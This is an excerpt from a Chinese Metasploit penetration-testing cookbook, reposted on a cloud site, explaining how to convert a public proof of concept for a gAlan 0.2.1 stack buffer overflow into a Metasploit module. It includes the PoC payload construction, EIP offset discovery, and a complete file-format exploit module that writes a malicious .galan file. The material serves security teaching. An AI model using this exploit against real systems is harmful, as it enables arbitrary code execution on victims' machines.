《Metasploit渗透测试手册》—第8章8.5节 将漏洞利用代码转换为Metasploit模块

本文涉及的产品
网络型负载均衡 NLB,每月750个小时 15LCU
应用型负载均衡 ALB,每月750个小时 15LCU
公网NAT网关,每月750个小时 15CU
简介:

本节书摘来自异步社区《Metasploit渗透测试手册》一书中的第8章8.5节 将漏洞利用代码转换为Metasploit模块,作者【印度】Abhinav Singh,更多章节内容可以访问云栖社区“异步社区”公众号查看。

8.5 将漏洞利用代码转换为Metasploit模块
Metasploit渗透测试手册
在前面的内容中已介绍了如何使用漏洞利用代码模块来攻陷目标机器。在本节中,我们将进一步拓展模块使用体验,尝试使用可用的概念验证代码开发完整的漏洞利用代码模块。为了将任意新的漏洞利用代码转换为框架中的模块,并在Metasploit团队进行更新之前使用其进行渗透测试,必须掌握将漏洞利用代码转换为模块的相关知识。并且,每个漏洞利用代码都以框架中模块形式存在也是不可能的,所以,下面学习怎样使用可用的POC来构建自己的漏洞利用代码模块。

准备
首先,选择可以转换为模块的任意漏洞利用代码,这里选的是gAlan Zero day漏洞利用代码,可以从http://www.exploit-db.com/exploits/10339处下载。

gAlan是一款用于 X Windows 和Win32的音频处理工具(在线和离线方式都支持),用户可利用该工具以模块化的形式构建合成器、声效链、混音器、序列器、drum-machines等,而这些操作只需要将代表音频处理元件的图标进行链接等操作即可完成。

只有当目标机器使用这一应用程序并且攻击者预先已知道时,针对gAlan的漏洞利用代码才能发挥作用,因此,攻击者需要预先知道目标机器上安装了哪些应用程序。

怎样实现
在开始漏洞利用代码转换之前,有必要了解关于栈溢出攻击的一些知识。

在软件中,调用栈时如果使用了过大的内存可能会发生栈溢出,这里调用栈是指应用软件的运行时栈,其中包含了有限大小的内存,通常是在程序启动时就已经确定的。调用栈的大小取决于很多因素,包括程序设计语言、机器体系结构、多线程及可用内存总量等。当程序试图使用的内存空间大于调用栈中实际可用的内存空间时,就会发生栈溢出,一般情况下会导致程序崩溃。在漏洞利用过程中,实质上最常被攻击的寄存器是ESP、EIP和EAX。

ESP:指向栈顶。

EIP:指向下一指令地址。

EAX:要被执行的指令。

由于在栈内所有寄存器都是线性存储的,所以需要知道EIP寄存器的确切大小,以便对其进行溢出后可以控制EAX,并执行攻击载荷。

拥有某个漏洞的概念验证代码之后,下一步收集该漏洞尽可能多的信息。观察下面漏洞的概念验证代码,前面少数几行由存储在$shellcode变量中的shellcode组成,可利用msfpayload或msfvenom工具,使用框架中任何可用的攻击载荷生成。

$magic     = "Mjik";
$addr      = 0x7E429353; # JMP ESP @ user32,dll
$filename  = "bof.galan";
$retaddr = pack('l', $addr);
$payload = $magic . $retaddr x 258 . "\x90" x 256 . $shellcode;

漏洞利用代码的主体部分首先包括$magic,其中包含一个四字节的字符串;然后是$addr 变量,其中包含ESP栈指针的位置;之后的$filename变量包含了后渗透阶段将要创建的文件名称;$retaddr包含了返回地址,栈指针指向这一地址,并导致溢出发生后漏洞利用代码的执行;最后是攻击载荷执行语句,负责漏洞利用和shellcode的执行。

从漏洞利用代码可知,此处的shellcode最大可达700字节,攻击载荷的总长度是1214字节,在构建模块时会用到这些信息。

我们可以使用重复的返回地址,也可以根据EIP被重写时的大小来确定返回地址。Metasploit中包含一个有用的pattern_create.rb工具,可以辅助发现EIP被重写时的确切地址,该工具可生成特定模式的字符串,并传递给漏洞利用代码,可以发现该字符串存储于EIP中。下面使用该工具创建一个5000字符的字符串。

root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb
Usage: pattern_create.rb length [set a] [set b] [set c]
root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb 5000

编辑漏洞利用代码脚本,使用另一个测试变量$junk替代$payload,并将刚生成的5000字符的字符串复制到该变量中。这里假设读者具备逆向工程和应用程序调试的基础知识。假设存储在EIP中的字符串模式为“234abc”,现在使用另一个名为pattern_offset.rb的Metasploit工具计算其在字符串中出现的位置。

position where this pattern exists in the string we passed: 
root@bt:/pentest/exploits/framework3/tools# ./pattern_offset.rb 0x234abc 
5000
1032

因此,为获取EIP准确位置,必须要传递的字节数是1032。

现在,我们已经收集到了关于漏洞利用代码的充分信息,做好了将其转换为Metasploit 模块的准备。

怎样工作
下面开始构建自己的模块,脚本中的第一行代码表示导入依赖库,并创建父类,然后定义initialize()函数,其中包含该漏洞利用代码和注册选项等信息。

require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
   include Msf::Exploit::FILEFORMAT
   def initialize(info = {})
     super(update_info(info, 'Name' => 'gAlan 0.2.1 Buffer Overflow Exploit',
       'Description' => %q{
         This module exploits a stack overflow in gAlan 0.2.1
         By creating a specially crafted galan file, an attacker may be able
         to execute arbitrary code. },
      'License' => MSF_LICENSE,
      'Author' => [ 'original by Jeremy Brown' ],
      'Version' => '$Revision: 7724 $',
      'References' =>
        [
          [ 'URL', 'http://www.exploit-db.com/exploits/10339' ],
        ],
      'DefaultOptions' =>
            {
          'EXITFUNC' => 'process',
        },
      'Payload' =>
        {
          'Space' => 1000,
          'BadChars' => "\x00\x0a\x0d\x20\x0c\x0b\x09",
          'StackAdjustment' => -3500,
        },
      'Platform' => 'win',
      'Targets' =>
         [
          [ 'Windows XP Universal', { 'Ret' => 0x100175D0} ],
          # 0x100175D0 call esi @ glib-1_3
           ],
      'Privileged' => false,
      'DefaultTarget' => 0))
      register_options(
        [
         OptString.new('FILENAME', [ false, 'The file name.', 'evil.galan']),
        ], self.class)
   end

目前的代码都很简单,比较复杂的代码是从exploit()函数开始的,下面介绍其实现的过程。

首先从原始漏洞利用脚本的头4个字节开始,即$magic = "Mjik"。

在本模块中,该代码被sploit = "Mjik"替代。

然后构建缓冲区,由于前面已经确定了EIP被重写的位置,因此可以使用如下语句替换重复的返回地址。

sploit << rand_text_alpha_upper(1028);
     sploit << [target.ret].pack('V');

添加nop slide,该漏洞利用脚本中对应部分在本模块中更改为如下形式。

sploit << "\x90" * 45

接下来构建完整的shellcode。

sploit << payload.encoded

最后,将这些行脚本代码整合到exploit()函数中。

def exploit
                    sploit = "Mjik"
                    sploit << rand_text_alpha_upper(1028)
                    sploit << [target.ret].pack('V')
                    sploit << "\x90" * 45
                    sploit << payload.encoded
                    galan = sploit
                    print_status("Creating '#{datastore['FILENAME']}' file ...")
                    file_create(galan)
            end

上面是将现有漏洞利用代码转换为Metasploit模块的一个简单的示例,这一过程的难度主要依赖于漏洞利用代码本身。关于模块转换,最好的学习途径是利用Metasploit库中的可用漏洞利用代码模块,下一节将学习怎样将漏洞利用代码模块移植到Metasploit框架以便进行渗透测试。

本文仅用于学习和交流目的,不代表异步社区观点。非商业转载请注明作译者、出处,并保留本文的原始链接。

相关实践学习
每个IT人都想学的“Web应用上云经典架构”实战
本实验从Web应用上云这个最基本的、最普遍的需求出发,帮助IT从业者们通过“阿里云Web应用上云解决方案”,了解一个企业级Web应用上云的常见架构,了解如何构建一个高可用、可扩展的企业级应用架构。
高可用应用架构
欢迎来到“高可用应用架构”课程,本课程是“弹性计算Clouder系列认证“中的阶段四课程。本课程重点向您阐述了云服务器ECS的高可用部署方案,包含了弹性公网IP和负载均衡的概念及操作,通过本课程的学习您将了解在平时工作中,如何利用负载均衡和多台云服务器组建高可用应用架构,并通过弹性公网IP的方式对外提供稳定的互联网接入,使得您的网站更加稳定的同时可以接受更多人访问,掌握在阿里云上构建企业级大流量网站场景的方法。 学习完本课程后,您将能够: 理解高可用架构的含义并掌握基本实现方法 理解弹性公网IP的概念、功能以及应用场景 理解负载均衡的概念、功能以及应用场景 掌握网站高并发时如何处理的基本思路 完成多台Web服务器的负载均衡,从而实现高可用、高并发流量架构
相关文章
|
8天前
|
Web App开发 JavaScript 前端开发
添加浮动按钮点击滚动到网页底部的纯JavaScript演示代码 IE9、11,Maxthon 1.6.7,Firefox30、31,360极速浏览器7.5.3.308下测试正常
添加浮动按钮点击滚动到网页底部的纯JavaScript演示代码 IE9、11,Maxthon 1.6.7,Firefox30、31,360极速浏览器7.5.3.308下测试正常
|
21天前
|
SQL JavaScript 前端开发
基于Python访问Hive的pytest测试代码实现
根据《用Java、Python来开发Hive应用》一文,建立了使用Python、来开发Hive应用的方法,产生的代码如下
49 6
基于Python访问Hive的pytest测试代码实现
|
6天前
|
Java C++
代码文件间重复性测试
本文介绍了如何使用代码相似性检测工具simian来找出代码文件中的重复行,并通过示例指令展示了如何将检测结果输出到指定的文本文件中。
|
17天前
|
敏捷开发 安全 测试技术
软件测试的艺术:从代码到用户体验的全方位解析
本文将深入探讨软件测试的重要性和实施策略,通过分析不同类型的测试方法和工具,展示如何有效地提升软件质量和用户满意度。我们将从单元测试、集成测试到性能测试等多个角度出发,详细解释每种测试方法的实施步骤和最佳实践。此外,文章还将讨论如何通过持续集成和自动化测试来优化测试流程,以及如何建立有效的测试团队来应对快速变化的市场需求。通过实际案例的分析,本文旨在为读者提供一套系统而实用的软件测试策略,帮助读者在软件开发过程中做出更明智的决策。
|
21天前
|
SQL JavaScript 前端开发
基于Java访问Hive的JUnit5测试代码实现
根据《用Java、Python来开发Hive应用》一文,建立了使用Java、来开发Hive应用的方法,产生的代码如下
49 6
|
23天前
|
测试技术 持续交付
软件测试的艺术:从代码到信心的旅程
探索软件测试不仅仅是发现错误的技术过程,它是一场从编码到用户信心的转化之旅。本文将带你了解如何通过创造性思维和系统方法,将软件测试变成一门艺术,确保产品质量的同时,提升用户对技术的信赖。
34 4
|
8天前
|
机器学习/深度学习 敏捷开发 测试技术
软件测试的艺术:从代码到用户心灵的旅程
在阅读本文之前,让我们先共同思考一个问题:“为什么即使是最小的错误,也可能对用户体验和企业声誉造成巨大的影响?” 正如我们将要探讨的,软件测试不仅是技术活动的一种,更是确保产品质量、优化用户体验和维持品牌声誉的关键步骤。本文将引导您了解软件测试的基本概念,探索其背后的艺术性,以及如何高效地实施测试策略来达到最佳的质量保证结果。
20 0
|
22天前
|
移动开发 JSON Java
Jmeter实现WebSocket协议的接口测试方法
WebSocket协议是HTML5的一种新协议,实现了浏览器与服务器之间的全双工通信。通过简单的握手动作,双方可直接传输数据。其优势包括极小的头部开销和服务器推送功能。使用JMeter进行WebSocket接口和性能测试时,需安装特定插件并配置相关参数,如服务器地址、端口号等,还可通过CSV文件实现参数化,以满足不同测试需求。
105 7
Jmeter实现WebSocket协议的接口测试方法
|
22天前
|
JSON 移动开发 监控
快速上手|HTTP 接口功能自动化测试
HTTP接口功能测试对于确保Web应用和H5应用的数据正确性至关重要。这类测试主要针对后台HTTP接口,通过构造不同参数输入值并获取JSON格式的输出结果来进行验证。HTTP协议基于TCP连接,包括请求与响应模式。请求由请求行、消息报头和请求正文组成,响应则包含状态行、消息报头及响应正文。常用的请求方法有GET、POST等,而响应状态码如2xx代表成功。测试过程使用Python语言和pycurl模块调用接口,并通过断言机制比对实际与预期结果,确保功能正确性。
100 3
快速上手|HTTP 接口功能自动化测试
|
22天前
|
JavaScript 前端开发 测试技术
ChatGPT与接口测试
ChatGPT与接口测试,测试通过
31 5
下一篇
无影云桌面